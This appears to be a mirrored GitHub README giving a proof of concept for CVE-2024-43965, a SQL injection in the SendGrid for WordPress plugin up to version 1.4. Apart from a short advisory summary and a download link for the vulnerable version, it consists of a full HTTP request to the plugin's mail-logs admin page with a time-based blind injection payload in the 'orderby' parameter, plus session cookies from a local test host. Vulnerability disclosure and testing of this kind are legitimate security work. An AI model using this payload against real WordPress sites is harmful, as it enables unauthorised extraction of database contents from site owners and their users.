CVE-2024-43965 PoC — WordPress SendGrid for WordPress plugin <= 1.4 - SQL Injection vulnerability

Source

https://github.com/RandomRobbieBF/CVE-2024-43965

Associated Vulnerability

Title:WordPress SendGrid for WordPress plugin <= 1.4 - SQL Injection vulnerability (CVE-2024-43965)
Description:Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Smackcoders SendGrid for WordPress allows SQL Injection.This issue affects SendGrid for WordPress: from n/a through 1.4.

Description

SendGrid for WordPress <= 1.4 - Unauthenticated SQL Injection

Readme

# CVE-2024-43965
SendGrid for WordPress &lt;= 1.4 - Unauthenticated SQL Injection

# Description
The SendGrid for WordPress plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 1.4 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

```
Type: plugin
CVSS Score: 10
CVE: CVE-2024-43965
Slug: wp-sendgrid-mailer
```
Download Link: https://downloads.wordpress.org/plugin/wp-sendgrid-mailer.1.4.zip

POC - This poc needs auth sadly
----

```
GET /wp-admin/admin.php?page=wp-mailplus-logs&orderby=sent_time%2c(select*from(select(sleep(20)))a)&order=asc HTTP/1.1
Host: kubernetes.docker.internal
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://kubernetes.docker.internal/wp-admin/admin.php?page=wp-mailplus-logs
Connection: keep-alive
Cookie: thc_time=1731228211; wordpress_e2df32a6c3e7076dd7dc7d3f3fec39aa=admin%7C1728983677%7C4Xhd7TcV61WG4vHjAg7FnUTbbGjPn6suDuM3pdK1Lif%7C64e3c5190e9d6981e485354f702a6f61dc8d35c827776156e02acbc906e9438b; _delighted_web={%22FutSOUgy5edCcTk9%22:{%22_delighted_fst%22:{%22t%22:%221694595337803%22}}}; mailpoet_page_view=%7B%22timestamp%22%3A1727811617%7D; wc_auth_e2df32a6c3e7076dd7dc7d3f3fec39aa=1%7C1729506239%7C78ab8d662a1880b359746913feff6990daed2d6015365243d2e2412561061446; wp-settings-1=libraryContent%3Dbrowse%26posts_list_mode%3Dlist; wp-settings-time-1=1728766871; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_e2df32a6c3e7076dd7dc7d3f3fec39aa=admin%7C1728983677%7C4Xhd7TcV61WG4vHjAg7FnUTbbGjPn6suDuM3pdK1Lif%7C8a736f7917a23bb6af5d41f105cca1cea534aae621f35fae6edbe554d366207f; wp_wpfileupload_e2df32a6c3e7076dd7dc7d3f3fec39aa=XQGEyqgTa4ZpWTEfq92q1b6ZAMRbbNSs
Upgrade-Insecure-Requests: 1
Priority: u=0, i

````

File Snapshot


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└── [2.2K]  README.md

0 directories, 1 file

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